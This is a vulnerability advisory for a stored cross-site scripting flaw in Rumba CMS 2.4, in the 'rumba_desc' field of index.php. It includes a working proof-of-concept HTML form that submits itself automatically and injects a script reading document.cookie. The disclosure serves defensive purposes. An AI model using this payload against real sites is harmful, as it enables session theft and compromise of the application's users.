Vulnerability ID: HTB22592 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_rumba_cms_1.html Product: Rumba CMS Vendor: Rumba Netware Ltd. ( http://rumbacms.com ) Vulnerable Version: 2.4 and Probably Prior Versions Vendor Notification: 18 August 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "rumba_desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php" method="post" name="main" > <input type="hidden" name="sendid" value="rumba_id" /> <input type="hidden" name="sendtitl" value="rumba_titl" /> <input type="hidden" name="sendauthor" value="rumba_author" /> <input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" /> <input type="hidden" name="sendlost" value="0" /> <input type="hidden" name="senddesc" value='rumba_desc"><script>alert(document.cookie)</script>' /> <input type="hidden" name="sendanons" value="rumba_anons" /> <input type="hidden" name="sendtext" value="rumba_text" /> <input type="hidden" name="sendtags" value="service" /> <input type="hidden" name="sendcomm" value="yes" /> <input type="hidden" name="add-end" value="begin" /> <input type="hidden" name="send_old_id" value="rumba_old_id" /> <input type="hidden" name="event" value="add_page" /> </form> <script> document.main.submit(); </script>